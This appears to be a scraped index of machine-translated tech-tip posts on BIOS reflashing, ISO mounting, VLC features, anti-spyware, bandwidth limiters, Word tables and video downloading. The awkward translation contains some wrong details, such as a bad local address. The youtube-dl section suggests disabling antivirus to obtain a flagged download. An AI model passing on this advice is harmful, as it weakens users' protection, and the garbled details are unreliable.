Samsung Smart TV I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGemL%2BmrdKeZK2glWLAsbvTop2yZZWtvaa%2ByJ6lnJ1drLa1tIysrKmon6fBbsPEm6qirJWo\n","link":"/post/how-to-increase-the-spotify-experience-with-support-websites/","section":"post","tags":null,"title":"How to increase the Spotify experience with support websites"},{"body":"BIOS is short for basic input-output system. It is a set of electronic instructions stored on a chip inside your desktop or laptop. These instructions tell the computer how to perform the POST (power on self test) and allow rudimentary...\nMethod 1of 4:\nDownload the BIOS  Download the BIOS update executable from the manufacturer website. Read any instructions that come with the executable. Most executables will run fine whether they are loaded onto a floppy or a CD. The instructions will let you know if a floppy isn't the recommended method. If you don't know the manufacturer of your motherboard, you can use the online BIOS ID manufacturer database to determine the exact make/model. If you can't find the website of your manufacturer then take a look at this list of 222 motherboard manufacturers.  Method 2of 4:\nReflash the BIOS using a floppy disk  Insert a blank floppy disk into your computer's floppy drive. Format it by right-clicking on the drive in My Computer and selecting the Format. Check the box that will make the newly formatted disk bootable.\n  Copy the BIOS update executable onto the newly formatted floppy drive.\n  Reboot your computer and boot to the floppy drive.\n  Run the BIOS update executable. It should reflash the BIOS automatically, with very little interaction required from the user.\n Method 3of 4:\nReflash the BIOS with a bootable CD  Create a bootable CD with an ISO. Some computer manufacturers will provide a bootable BIOS update ISO that can simply be burned onto a CD. Download the ISO from the manufacturer website. Use a CD burning program that is compatible with ISO files to burn the bootable ISO to a CD. Boot to this CD, and allow the BIOS update to proceed automatically. Usually there is minimal user input required.   Create your own bootable CD image. Some computer manufactures will provide a BIOS update executable file, and leave it up to you to create a bootable CD image that includes this file. There are many CD burning programs that support creating a bootable CD. Download the BIOS update file from the manufacturers' website. Use the CD burning program of your choice to create a bootable CD. Make sure that you add the BIOS update file to the image that you are creating. You can find the files required to make a bootable CD with a simple search engine query like 'create bootable CD'.Once you have created and burned your image, boot to the CD. Run the executable file, and allow the BIOS flashing process to complete.  Method 4of 4:\nReflash the BIOS using WinFlash  Use the self-contained WinFlash program to flash your BIOS. This method is gaining popularity with computer manufacturers, because it reduces the possibility of user error. You can find out if this option is available to you by logging onto the manufacturers' website and searching for a BIOS update using the exact model of your computer. It is the fastest and easiest way to update your BIOS.   Download the WinFlash executable from the manufacturers' website. Make sure that you are downloading the executable for your precise computer model. Save the executable somewhere easily to find, like your desktop.\n  Double-click on the executable to run the WinFlash program.\n  Follow the on-screen instructions. Do not reboot your computer until requested by the utility. It may simply reboot the computer itself.\n  Jessica Tanner Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVm7miv8dmsKitomKvqrvS\n","link":"/post/how-to-reflash-your-bios/","section":"post","tags":null,"title":"How to Reflash Your BIOS"},{"body":"Network Administrator - As a Windows system administrator, we need to know some things to do with ISO files and how to access them.In this article, we will explore why you need to pay attention to ISO files and how to install them in Windows 7 using the free tool Daemon Tools. If you want to install an important software application, operating system, or access any virtual CD / DVD drive, we need to know the characteristics of the ISO file and how to access it. What is ISO file and why do you need to access it? ISO file is a Disk Image file format defined by the International Standards Organization (ISO). Therefore, this file format is named after its name. Maybe, every time CD / DVD Image is stored on a drive (instead of an optical drive), it will be stored as an ISO file (these files have an extension of .iso). For example, if we download Windows 7, Windows 2008 R2 or Microsoft Office, all these software will be saved as .ISO file format. In addition, server and workstation virtualization software can create these .ISO files in the virtual DVD drive of the virtual machine. If you are using VMWare Workstation or Microsoft Virtual PC, then both files install. This ISO will install this operating system or applications. In addition, there are some cases where we need to use an individual file in addition to an ISO Image, or we want to create an ISO Image on the local computer (without using a virtualization tool) to install an application. In Windows 7 operating system, if you double click on an .ISO file, we will be notified to burn it into a CD / DVD as shown in Figure 1.  Figure 1. In addition to the built-in software in Windows 7, the authoring applications will write all these ISO Image to a CD or DVD and create physical media for us (if no problems arise during the real process). currently). However, Windows cannot show us what is in the ISO file, and we cannot retrieve files outside of this .ISO file. Also, while CD / DVD authoring tools will burn this image to an optical drive, they will not allow us to retrieve the file outside of this .ISO file. So what we can do is write this optical drive, put this optical disc in the drive, and then search in this disk to get a .ISO file off the disk. What we need to use is a free application to install .ISO files on a local computer. Some free tools we can use to create ISO files There are quite a few free tools that we can use to create .ISO files in Windows. However, not all of these tools are compatible with Windows 7 so we need to find out carefully before choosing. In fact, sometimes if we perform an OS upgrade when these tools are installed, they won't work after the upgrade process is complete, and an upgrade for that tool installed. So make sure that the tool we use is compatible with Windows 7. In this article we will use Daemon Tools. In addition to this tool we can use many other ISO file creation tools compatible with Windows 7, such as ZIP, 7-Zip, Magic ISO, Virtual CloneDrive, PowerISO (can read ISO files, but free version There are limitations in creating and editing ISO files), .  Figure 2. Note: Remember that the Microsoft Virtual CD-ROM tool is not compatible with Windows Vista or Windows 7. Install Free Daemon Tools Lite in Windows 7 As mentioned above, in this article we will use Daemon Tools. The free version with a current feature set of this tool's is called Lite. This tool has a commercial version with more features. Although the Lite version allows us to simulate drives 4 CD, DVD-ROM, HD-DVD, or Blu-Ray, we can also create ISO images and access these files right inside. Daemon Tools also allows us to create ISO images, and even create passwords for those ISO Image files.We can use Daemon Tools on Windows 7 since version 4.35.5 and later. Daemon Tools Lite works by installing software (requires rebooting) that allows us to create ISO files as a drive. From there we can create ISO files using Daemon Tools. Daemon Tools installation process is very simple. First download the 8MB Daemon Tools installation file here. Then double click on this file to proceed with the installation. When the Installation Wizard appears we just need to follow the instructions. We can select the installation components as shown in Figure 4.\n Figure 3.  Figure 4.\nAfter the installation process is completed, restart the computer.After the computer has restarted, we will see a new tool appear on the Windows 7 desktop, and we can launch this tool to create the ISO file. Alternatively, right-click the Daemon Tools icon on the system tray and select Virtual Devices, select the drive E: and then click Mount Image .\n Figure 5.\n Figure 6.\n Figure 7.\nWe will specify the path to the ISO file from there and this ISO file is created as a virtual CD / DVD drive, Drive E :. Then we can go to My Computer | Drive E: then browse this DVD Image.\n Figure 8. In addition, Daemon Tools Lite supports many types of Image other than ISO. We can see these types of images in Figure 9.\n Figure 9. Conclude Creating ISO Image is a very important skill for Windows system administrators. Although the Windows operating system does not include a tool to support this task, we can use a variety of dedicated third-party tools. In this article we learned about Daemon Tools and used this tool to create ISO Image.\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjJ2YnqWfo3q1u86lqmasn2Kws7HArZxmoaOkeqq5wKCcZqGeYsSquoxw\n","link":"/post/use-daemon-tools-to-create-iso-image-in-win-7/","section":"post","tags":null,"title":"Use Daemon Tools to create ISO Image in Win 7"},{"body":"Free Fall Sensor technology helps the machine to automatically switch the head from the hard drive to a safe area to protect data when it finds sudden changes in speed.\n  The Vostro 3560 has two models, the P33X42 and P33X43, which use Ivy Bridge chips. (Photo: Dell).\nThe manufacturer says the Vostro 3560 is 10% thinner than before, and has a silver aluminum case that has high scratch resistance as well as fingerprints. This product has two models P33X42 and P33X43 all using Ivy Bridge chips. In particular, Vostro 3560 P33X42 owns Core i5-3210M processor which is sold for VND 17.5 million while the P33X43 model is Core i7-3632QM priced at VND 23.9 million.\nDell Vostro 3560 is equipped with 15.6-inch HD screen with anti-glare, 4 GB DDR3 RAM, 500 GB hard drive speed 7,200 a minute. The product weighs 2.57 kg and is 28.8 mm thick (front part). It has built-in DVD drive, memory card reader, HD webcam, 6-cell battery with a life span of over 600 charge times and works for 3 consecutive hours. In addition, Dell's new laptop also supports Intel HD Graphics 4000 integrated graphics and AMD Radeon HD 7670M discrete card with 1 GB VRAM that can be switched automatically to increase processing capability while saving power.\nIn addition, Vostro 3560 is integrated with many technologies such as Bluetooth 4.0, Wi-Fi standard n, HDMI, USB 3.0, ExpressCard, Ethernet, fingerprint scanner. The keyboard of the device has a backlight support.\nOfficial photo of Dell Vostro 3560\nOfficial photo of Dell Vostro 3560     Silver aluminum case is resistant to scratches and fingerprints.\n  The front part of the machine is 28.8 mm thick\n  Dell Vostro 3560 weight is 2.57 kg.\n  The device is equipped with a backlit backlit keyboard.\nncG1vNJzZmismaXArq3KnmWcp51kw7C%2F06umZmtla31uuMCpq6ioXay2tbSMrKSaqqRitaK%2Bw2abq6Gmmg%3D%3D\n","link":"/post/vostro-3560-laptop-with-smart-hard-drive/","section":"post","tags":null,"title":"Vostro 3560 laptop with smart hard drive"},{"body":"Have you ever heard of the phrase Temporary file? It sounds irrelevant, but it is a directory that every computer has. So what are their meanings and uses? Let's find out more with TipsMake.com through this article!\n  What is a Temporary File? Temporary Files, also known as Vietnamese temporary files (folders) . It can be understood that Temprorary File is a place to store temporary files, files used by other programs or used. Files in this directory are usually created when you install and run software from third parties. When you use a certain software, they will create temporary files in this Temporary folder to operate. After you have saved the file you are using on the software, the temporary files will be deleted immediately.\nFor example, you may be using Word to edit documents and suddenly lose power. Then you can go to this Temporary File folder to restore the text you just made.\nHowever, some temporary files can weigh up to several dozen GB when you use Adobe Photoshop or edit animated files. That inadvertently makes your computer become slow.\nDoes deleting the Temp file affect the computer? As mentioned above, the files in the Temporary folder are almost completely \"junk files\" after you've completed your programs. Then you can completely wipe them to clean the hard drive, increase the hard drive capacity and help the computer operate more efficiently.\nHow to safely delete Temp files Method 1: Delete the Temp file in Settings Step 1 : Open the Start Menu and then select Settings .\n  Step 2 : Next, select System .\n  Step 3 : Then you select the Storage item.\n  Step 4 : Next, select Temporary files .\n  Step 5 : Then click Remove files to finish.\n  Method 2: Use CCleaner software Step 1 : Visit the homepage of CCleaner software https://www.ccleaner.com/ to download and install the software.\nStep 2 : After the installation is complete, launch the software and then perform the following steps:\n(1) Select the Custom Clean item.\n(2) + (3) Select 2 items Temporary Internet Files and Temporary Files .\n(4) Then select Run Cleaner .\n  Step 3 : Then a small message appears, select Continue .\n  The software will then work, and the Temporary files will be deleted shortly after:\n  Above is an article by TipsMake.com to help you better understand Temporary files and how to delete them safely. Hope this article will be helpful for you. Thank you for following the article. I wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWRYsGmuc%2BoqZqqqWKzqrjEZpuonaNisaa4xK2gp59dqbWmedOepKlllp65pnnAn52em6RiwamxjJympqilqbKz\n","link":"/post/what-is-a-temporary-file-does-deleting-the-temp-file-affect-the-computer/","section":"post","tags":null,"title":"What is a temporary file? Does deleting the Temp file affect the computer?"},{"body":"One of the most popular audio and video playback software is VLC Media Player. The program supports playing media files in various formats, including DVD, CD. However, in addition to the ability to play popular video like many other similar software, the program also possesses many features of editing, editing videos or many other needs of users. In the following article, we will summarize some of the advanced features and tips using VLC Media Player software.\nAdvanced tricks use VLC Media Player 1. Take photos of videos on VLC Media Player: 2. VLC Media Player cuts the video: 3. Convert media file format: 4. Download Youtube videos right on VLC Media Player: 5. Video recording screen on VLC Media Player: 6. Video VLC Media Player with Webcam: 7. Record the video / music file playing: 8. Remote VLC control by browser: 9. Video and audio effects: 10. Subscribe to Podcasts: 11. Broadcast Internet Radio: 12. Use video as wallpaper: 13. Stamped on video: 14. Play the video as ASCII characters: 15. Open media file in compressed files: 16. Use Last.fm to keep track of all songs played on VLC: 17. Mark a video: 18. Add subtitles 19. Double or slow down playback speed: 20. Extensions and plugins: 1. Take photos of videos on VLC Media Player: Taking photos of a Windows computer screen is too familiar to the user. However, after shooting, you have to go through the computer editor to save the image.\nWith VLC Media Player, we can immediately use the Take Snapshot feature that the program provides, so that we can take a screenshot of the video screen we want to save. Click Video then click Take Snapshot . The image will be saved in the Picture folder of the C drive with sharp picture quality.\n  In addition, the program also supports shortcut keys to take a screenshot of the video screen:\nWindows: Shift + S Linux: Ctrl + Alt + S MacOS X: Command + Alt + S 2. VLC Media Player cuts the video: This is considered a useful feature on software when we do not need to install any other support program. Users just need to select the video to be cut, then open the Advanced Controls video cutter on VLC Media Player interface.\nPlease refer to the article How to cut video using VLC Media Player software to know how to do it in detail.\n  3. Convert media file format: Video conversion is also available on VLC Media Player. The program supports popular formats like MP4 / MOV, FLV, AVI, MKV, FLAC, . With this feature, users do not need to install any other supporting software, but absolutely can Perform the conversion immediately on the program.\n  At VLC Media Player interface, click on Media then select Convert / Save then select the video you want to convert and the target format to convert. Finally click Start to complete the file format conversion process.\nYou read reference how to do in the article below.\nUse VLC Media Player to convert MKV video format to MP4   4. Download Youtube videos right on VLC Media Player: If you are installing VLC Media Player on your computer and want to download YouTube videos, use the program's built-in feature immediately, without the need for other programs.\nThe software allows users to download Youtube videos with the video URL link, then through the web browser to download videos to the computer.\nWe click on the Media item and then click on the Open Network Stream option .\n  Then paste the URL of the YouTube video you want to download into the Open Media interface.\n  Finally, we just need to copy the URL of the link that VLC Media Player provides into the browser to download the video.\nRefer to how to do this in the article How to download Youtube videos with VLC Player software.\n  5. Video recording screen on VLC Media Player: Recording the actions you are doing on screen with VLC Media Player is also very simple.\nAt the interface, we click Media\u0026gt; Convert / Save .\n  In the next interface in Capture Mode, you select the recording mode as Desktop . Then, select the Desired Frame Rate for the capture value you want. Should choose this value in the range of 15 - 30f / s.\nAlso at this interface click on the arrow and select Convert .\n  Finally, the video format will be fixed, you just need to select the video save path and name the video about to rotate the screen. Click the Start button to proceed with video recording on the screen\nPerforming screen video recording using VLC Media Player will be available in the article How do I record a screen with VLC Media Player ?.\n  6. Video VLC Media Player with Webcam: Video recording via webcam also increases the professionalism of VLC Media Player. You will not have to add other software that can use the program right away.\nWe also click on the Media button on the program interface and select Convert / Save . Then switch to Open Media interface, you need to switch to video mode with webcam HD Webcam receiver, microphone recording device if you need to use and proceed to record video later.\nHow to do it will be in the article How to record a webcam video on VLC Media Player.\n  7. Record the video / music file playing: If you want to record and capture a video playing, VLC has an option to do this. To enable this feature, on the menu, click View\u0026gt; Advanced Controls . Additional buttons will appear on the application. While playing the media file, click the Record button to start recording. Press this button again if you want to stop.\nThe record will be saved in the Videos folder, and the music file will be transferred to the Music folder. On the version for Mac, open the menu and click Playback\u0026gt; Record or use the shortcut CMD + ALT + R.\n  8. Remote VLC control by browser: There is an option available to use a web browser as a simple remote control for VLC. This is extremely useful when running VLC on a PC media center, because you can control it using your laptop or mobile phone.\nTo enable this feature, go to Tools\u0026gt; Preference and click the Allunder Show settings box. Next, go to Interface\u0026gt; Main Interface and check the Webcheck box. Then, in Interface\u0026gt; Main\u0026gt; Lua , set up Lua HTTP Password . Remote control via browser will now be activated.\nTo test this, on VLC installed browser, go to localhost: 8080 . It will require a password and when the user provides the correct password, it will display a remote control interface for VLC. To use this feature on another device, you need to find the IP address of the browser on your device. Add the address on your device's browser with the phrase : 8080 (e.g., 128.0.0.1:8080). Your device is now a simple VLC control.\n  9. Add video and audio effects: VLC provides you with a wealth of tools, allowing you to adjust the video and audio effects of any media file. To see which tools are available, go to Tools\u0026gt; Adjustments and Effects . From here, you will see tabs containing A / V manipulation tools. For video, you can adjust color, crop, rotate video, add filters, etc. For audio files, you will have the same audio controls to adjust your music files.\n  10. Subscribe to Podcasts: If you are looking for a simple podcast registration application, VLC can meet your needs. You can use the application to subscribe to your favorite videos and audio podcasts, and see all of these files in the app.\n  To subscribe to a podcast, go to the Playlist, in the Internet section, there will be a Podcast option . Hovering over the cursor and the + sign will appear. Click on it and add RSS to your podcast. On the Mac version, visit the Podcast option and click Subscribe to add the RSS URL.\n529 computer tips - Work online with RSS Feeds \u0026amp; Podcasts 11. Broadcast Internet Radio: VLC provides Internet Radio channels on Playlist, allowing you to browse and search online radio stations. If the stations provided do not interest you, you can play your favorite channel by taking the URL of the station and opening it using Media\u0026gt; Open Network Stream.\n  \n12. Use video as wallpaper: Have you ever wanted to play video in the background for your computer? There is a simple way to do this using VLC. Go to Tools\u0026gt; Preference section . Click Video and in the Output box, select DirectX video output (DirectDraw) . Save and restart VLC. The next time you play the video, the Video to play as a Set as Wallpaper option appears on the right-click menu. Select it and the video will then be played in the background on the desktop.\n  13. Stamped on video: You can add your own watermark on a video, via VLC, without using a dedicated video editing tool to do this. However, keep in mind that you will need to use VLC's recording feature to save the stamped video.\nTo get started, go to Tools\u0026gt; Effects and Filters . Click the Video Effects tab and in the Overlay tab, you will get the option to add simple logos or text to the video.\n  14. Play the video as ASCII characters: Another interesting thing is, VLC allows you to display all videos as ACSII characters. To turn on this exciting feature, go to Tools\u0026gt; Preference and click Video . In the Output box, select Color ASCII art video output . Your video will now be fully displayed as ACSII. Now try what 'The Matrix' looks like!\n  15. Open media file in compressed files: If you have a ZIP or RAR file containing media files, you can actually play them in VLC without extracting them. Simply open them with VLC and it will play all the files contained within.\nHow to extract Zip files directly on Google Drive If the file is split into several parts, simply open the first part of the compressed file in VLC and make sure all files are in the same location. This is a good tip when you don't want to waste space to extract videos.\n  16. Use Last.fm to keep track of all songs played on VLC: If you are a regular user of Last.fm, you can scrobble (track) songs played through VLC. To enable this feature, go to Tools\u0026gt; Preference . On the Show settings dialog box, click All . Click Interface\u0026gt; Control interfaces and select Submission of played songs to Last.fm. Then, in Interface\u0026gt; Control interfaces\u0026gt; Audioscrobbler section , enter your Last.fm login information.\n  17. Mark a video: You can mark part of the video so you can come back to watch later, if you just want to play back a certain part of the video. To bookmark a video, go to Playback\u0026gt; Custom Bookmarks\u0026gt; Manage . The Edit Bookmarks window will appear. Click the Create button in the video you want to bookmark.\n  18. Add subtitles: If the video you do not have subtitles, you can add it by finding the SRT subtitle file for the video and adding it. To add subtitles, play your video and go to the Subtitle section on the menu and click Add Subtitle File . If you want VLC to play automatically, place the SRT file in the same folder as the video and make sure it uses the same name as the video file.\n  19. Increase or decrease the playback speed of media files: This feature is extremely useful when you are viewing a media file primarily because of content, such as podcasts, audiobooks, recorded lectures, etc. To start, press ] to fast forward 0.1 times each click. To slow down the video, tap [ (similarly reduces the speed of 0.1 times per click). On the Mac, there is a slider to control playback speed, located in the Playback section.\n  20. Add extensions and plugins: Like Firefox, you can extend the functionality and interface of VLC player. There are many extensions and interfaces available on the VideoLAN page. Choose what you find attractive.\nSome extensions allow you to automatically receive subtitles, actor information, as well as lyrics and some other things. On the other hand, these utilities also allow you to modify the interface of the media player with many features available, ensuring that it suits your needs.\n  Through the above article, it can be seen that VLC Media Player not only brings powerful media file play feature, but also possesses many other useful features such as video cutting, Youtube video downloading, computer screen video recording, . Almost All of these features will be implemented directly on VLC Media Player without a support program.\nHope this article is useful to you!\nSee more:\n10 interesting hidden functions of VLC Media Player Set up VLC Media Player as the default multimedia player on Windows 10 Guide to watching videos and 360-degree images on VLC Player ncG1vNJzZmismaXArq3KnmWcp51krqXCwKeanpxdqb%2Bqr8qsZK6rlWLDra%2BMppydoZFiva2t2J6p\n","link":"/post/advanced-tricks-use-vlc-media-player/","section":"post","tags":null,"title":"Advanced tricks use VLC Media Player"},{"body":"Previously, your computer ran very fast, but now, programs seem to be slow. Moreover, when accessing the Internet, there are always advertisements and often redirected to another page.  You think your computer may have been infected with adware (spyware) and spyware (spyware). But you don't know which anti-spyware software works? In this article, we would like to introduce you to an effective anti-spyware program, Webroot's SpySweeper. SpySweeper can be downloaded and tested at http://www.download.com/1200-2018-5146228.html, (14-day trial is available) for $ 29.95. SpySweeper can detect and completely remove dangerous spyware such as lite Keylogger, LOP, Backdoor-Haxdoor Trojan \u0026amp; iSearchDesktop . Not only that, SpySweeper can destroy some rootkits. SpySweeper is very simple, it does a search, checks your PC system in just 3 steps:\nStep 1 (Sweep): SpySweeper will scan the entire system. Click Start to begin. First of all, SpySweeper will check your system's memory, check the Registry, and finally check your hard disk. When the scan is completed, the program will move to step 2\n Step 2 (Remove): SpySweeper will list the spyware and advertisements found. Please select the software in the list, you can select all ( Select All ). If you are not sure and you have a network connection, select the software in the list and press the \" View more details online \" button. Then, click Next to go to step 3.\n Step 3 (Result): In the Summary tab. The program will show you the result: the number of scanned files ( Memory items inspected ), the number of items scanned in Registry ( Registry items inspected ), the number of folders / files scanned (Files / Folders Inspected ), number of detected spy files ( Items Found ), track times (Traces Found ), Traces Ignored , and Traces Quarantined . You can switch to the Session Log tab, which will allow you to view the report and save it as a text file.\n SpySweeper allows you to customize from a configuration change at program startup, set a password, set a hard disk scan mode . to automatically remove spyware when identifying correctly You have the software included in the removal list, the ability to schedule a scan according to system time.\nThe Quanrantined function allows you to save isolated software. Here, you can restore files that you might have mistakenly selected, or permanently delete files that you believe to be spyware. Quarantined also allows you to recover essential components in software for programs to run well after scanning the system. SpySweeper's Shield function is a feature that protects your computer system against real-time spyware. Shield also protects some of IE's security holes, protects the file system, prevents or allows programs to load into Windows Start-up. The new version 4.5 has a Spy protection tool that shields the Web from spreading malicious programs that SpySweeper already knows. SpySweeper's Alert function will issue a warning when any program violates or intentionally changes the Registry, Start-up of the system. SpySweeper also features News . This is a great feature, providing information for you. News allows you to learn about spyware, latest spyware information, newer updates . SpySweeper is a good, effective anti-spyware software. What are you waiting for and you don't download and try it. Minh Phuc\nncG1vNJzZmismaXArq3KnmWcp51krq%2FAyKynsq%2BRp7Juw8itn2aroK7AuLHEqZyr\n","link":"/post/anti-spyware-with-spysweeper/","section":"post","tags":null,"title":"Anti-spyware with SpySweeper"},{"body":"Limiting bandwidth on your computer will prevent data from being wasted on things you don't want. It is useful for people who use limited network data and can help you avoid extra charges. This article introduces you to tools that help limit bandwidth.\n10 things to help maintain Internet bandwidth 1. Metered Connection feature in Windows 10\nOne way to limit bandwidth by using Windows 10's integrated methods is to enable Metered Connection. Enabling this feature will limit the level of Windows updates and stop automatic updating of some applications. To start, press Windows + I key to open Settings , click Network \u0026amp; internet , then Wi-Fi or Ethernet .\nIf Wi-Fi is selected, click Manage known networks , select the network from the list, click Properties and turn on Set as metered connection.\n  If using Ethernet , select the connection from the list and turn on Set as metered connection .\n2. NetBalancer\nNetBalancer will show you a list of all processes running on the system and related network usage. Below is a live chart so you can see any bandwidth changes that occur. Hover over the graph and you can see which processes are taking up bandwidth at that time.\nTo limit the bandwidth of a program, find it in the list and double-click to open it. You can use the Download Priority and Upload Priority drop-down menu to adjust filter-based usage. This is useful when you want to prioritize other programs that use bandwidth when needed. Also, select Custom from the drop-down menu to define yourself.\n  You can do the same with the main window, using the red and green arrow icons at the top of the window. A handy feature here is that clicking the red arrow to the right in a vertical line, will block all network traffic. NetBalancer gives you free use for 15 days, then if you want to use more you need to pay a one-time fee of $ 49.95.\n3. NetLimiter\nWhen you start NetLimiter you will see a list of all open applications along with their current bandwidth usage. Of course, some applications will use more bandwidth than other applications, but it is useful to determine which applications take up more bandwidth than necessary.\nThe default limit is set to 5 KB / sec for download and upload, you can quickly turn on by selecting the box for each specific row. To edit these defaults, right-click on the limited number to open the editor. On the Rule tab, you can change the bandwidth limit.\n  Switch to the Scheduler tab and you can set the start time and stop using bandwidth. To do so, click Add and then create a rule. For example, you can stop the web browser from consuming bandwidth with specific hours.\nYou can use NetLimiter for free for 28 days, the Lite version costs $ 19.95, while the Pro version is $ 29.95. However, there seems to be no difference between the two versions.\n4. Net-Peeker\nNet-Peeker has a very simple user interface. At the top, you can download and upload speed with access to the Settings screen and some other features of the application such as system protection.\nThe table below lists all processes running on the system, along with its bandwidth consumption. You can double-click a process to get extremely detailed information on the Network Sessions and Loaded Modules tab .\n  \nOn the entire process from the main window or on a specific network session, you can right-click to manage the connection. You can limit the speed to determine the bandwidth limit and disconnect the connection to disconnect completely (until reopening).\nNet-Peeker allows you to try it for 30 days to experience all its features. After that time, you can continue using the app for $ 25.\n5. SoftPerfect Bandwidth Manager\nSoftPerfect Bandwidth Manager is not the most feature-rich application on this list, but it is a bit complicated. When you first boot, you need to enter the network address and password before you can start tracking traffic.\nHowever, this is a program worth using because it can change the default settings. Press Ctrl + N to start creating your rule. Scroll through each tab to see all the options, but be sure to name your rules and set the Rate limits limit. When done, click OK to activate the rule.\n  Use the Tool menu to set limits and schedules for bandwidth. You should also check the Usage Report for an overview of traffic and help identify any specific issues to address.\nSoftPerfect Bandwidth Manager has a 30-day trial period, after which you can continue to use the free Lite version but only limited to five rules. In addition, you can pay $ 49 to upgrade to the Standard version.\nncG1vNJzZmismaXArq3KnmWcp51ksbC602aumqukmnq6u9SrZKKmpJq%2Fr7HTZqurmZabtqR51KycZqyYmsCmeZRmmZqmlKy2pcDHZqmeq6SntqTAyKilZqyfpLm0\n","link":"/post/don-t-waste-your-internet-traffic-use-these-5-bandwidth-restriction-tools/","section":"post","tags":null,"title":"Don't waste your Internet traffic, use these 5 bandwidth restriction tools"},{"body":"Working with Word, there will be times when you have to use tables to store data. Microsoft Word gives you many ways to create tables, draw tables as well as provide you with a lot of tools to help you have a beautiful and easy-to-see data table.\nHere's how to create tables, draw tables in Word 2013, with Word 2010 and 2007 you do the same.\n1. Create a table Method 1: Create a quick table in Word. On Word interface, select Insert -\u0026gt; Table -\u0026gt; move the mouse cursor to select the number of rows and columns for the table, then left click to create the table.\n  The table will be created with the number of rows and columns you have selected:\n  Method 2: Create a table with options. Select Insert -\u0026gt; Table -\u0026gt; Insert Table .\n  The Insert Table dialog box appears, enter the column number of the table in the Number of columns section , enter the number of table rows in the Number of rows section . Click OK to create the table.\n  Your results will be as follows:\n  Method 3: Draw a table in Word. If the table you want to create is more complicated then you can use the Draw table to draw the table. Select Insert -\u0026gt; Table -\u0026gt; Draw Table .\n  The mouse pointer changes to a pen, you start drawing the table as you want.\n  2. Edit the table After you have created the table, the next you need to edit the table to fit the content that you need to enter the table.\nResize the table To change the size of the table you put the mouse pointer on the corners of the table, when the mouse pointer appears a two-dimensional arrow icon, you press and hold and expand or narrow the size of the table.\n  Align text position in table cells When selecting the table, there are two tabs on the Ribbon called Design and Layout , you can align the text position, rotate the text in the Alignment section of the Layout tab .\n  Change the type of the table Select the table -\u0026gt; Design -\u0026gt; select the table style in the Table Styles section , you can click the down arrow icon ( More ) to select more table styles.\n  For example, choose a table style as shown above, you will get a table:\n  Merging box Highlight the cells to combine, then choose Layout -\u0026gt; Merge Cells (or right-click and choose Merge Cells ).\n  The cells you select will be merged into one cell.\n  Split cells Place your cursor in the cell you want to split and choose Layout -\u0026gt; Split Cells (or right-click and choose Split Cells ).\n  The Split Cells dialog box appears , enter the number of rows to split in Number of rows , the number of columns to split in Number of columns and click OK to split cells.\n  So the cell you select will be split as you like:\n  So, after the article you already know the ways to create tables, draw tables as well as edit tables in accordance with the content. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYytmJuklah6pb7AsGStmZKhsrR5yKdksKeimQ%3D%3D\n","link":"/post/how-to-create-tables-draw-tables-in-word/","section":"post","tags":null,"title":"How to create tables, draw tables in Word"},{"body":"You need to download video stream on YouTube, Facebook but don't know how? TipsMake.com will help you download videos directly streamed on YouTube, Facebook through some simple ways in this article.\nNote: Downloading video streams is not illegal, as long as you use videos that match the license or video usage terms. For example, many YouTube videos use standard YouTube licenses and some are licensed under Creative Commons. You can check the license types by checking the message box below the video, as shown in the image below.\nDownloading someone else's video stream and uploading it to make money to advertise or use it for any illegal purpose will only cause you to be disadvantaged. copyright lawsuit. Downloading video streams to your computer can be reviewed, anywhere, anytime, even without an Internet connection, no problem. It is even encouraged when there are tricks and knowledge sharing videos.\nA large part of today's Internet traffic has been devoted to streaming live video, a series of video sharing services have allowed users to stream live video like Facebook and YouTube. On YouTube, there are more than 400 hours of stream content uploaded every minute, an average of about 40 minutes per viewer, demographics are between 18-49 years old. Platforms that stream games like Twitch and YouTube Gaming are also increasingly popular. Recently, Garena has also released Garena Live Beta to test live game playback. Only a few things like that are enough to see how the video stream is attracting users.\nIt's great to watch videos streamed directly at that moment, but you can't always do that. In addition, video stream cannot be rewinded, every time you want to watch it, you will have to watch it from the beginning, which is quite inconvenient. The solution in these cases is to download them to the computer.\nIn this article TipsMake.com will introduce you to 5 tools to download video stream, including:\nVideoGrabby (Web)\nVideo DownloadHelper (Firefox, Chrome) JDownloader 2 (Windows, Mac, Linux) youtube-dl (Windows, Mac, Linux) Record video online\n1. VideoGrabby (Web) Using online video download tools is recommended because there is no need to install, software in this area usually contains adware, malware.\nRead more:\nThe fastest way to download Facebook videos to your computer without software Instructions to download videos, mp3 Youtube does not use software VideoGrabby supports pages: Facebook, SounCloud, Vimeo, Vine, YouTube.\nVideoGrabby is the simplest and easiest to understand tool. We recommend using it if you want to download video stream to your computer easily. Just paste the URL of the video you want to download into VideoGrabby, select Record Video (to describe videos in MP4 format) or Record Audio (to download music in MP3 format). The quality is not great, but it's quite good.\nIn addition, this tool can also download regular YouTube videos, what to do is just paste the video URL to download into the frame on the site only.\n  2. DownloadHelper Video (Firefox, Chrome) These are 2 quite popular add-ons in Firefox and Chrome, support downloading videos on Dailymotion, Facebook, Instagram, Lynda, Twitter, Udemy, Vimeo, YouTube and many other sites.\nUsing Video DownloadHelper is somewhat easier than VideoGrabby, just that it needs to add settings on the browser for the first time. In addition, it can slow down the browser if you often have to open multiple tabs or install too many add-ons. But this downside seems to be nothing compared to the great videos that Video DownloadHelper brings.\nAdding a browser tool such as Video Download Helper will allow you to instantly download the video you are watching, just caught without moving the page or opening another software.\n  3. JDownloader 2 (Windows, Mac, Linux) Support almost all websites. You only need to take the URL of any online video watch page or of the video and paste it into the application, it will scan and detect downloadable videos. Now select the video you need and download it.\nAlthough scanning with Virustotal, JDownloader 2 has no virus, but during the installation process, you should pay attention to refuse requests to install additional software on your computer.\n  4. youtube-dl (Windows, Mac, Linux) Supported sites: Dailymotion, Facebook, HBO, Metacafe, Vimeo, Vine, YouTube and thousands of other websites.\nIf you are a fan of the command line interface, youtube-dl will be a great tool.\nWhen scanning the download file of youtube-dl on Virustotal, it will not detect the virus, but when downloading on Windows 8.1, the file will be deleted.\nIf you trust Virustotal, you can turn off antivirus software when downloading the application.\nyoutube-dl has a wide selection of video quality, parameters, list processing, speed limit for downloading, batch loading, file naming, etc. Up to the present time, this application supports Support formats: 3GP, AAC, FLV, M4A, MP3, MP4, OGG, WAV, and WebM.\n5. Other video download solutions If the above tools don't fit your eyes, the 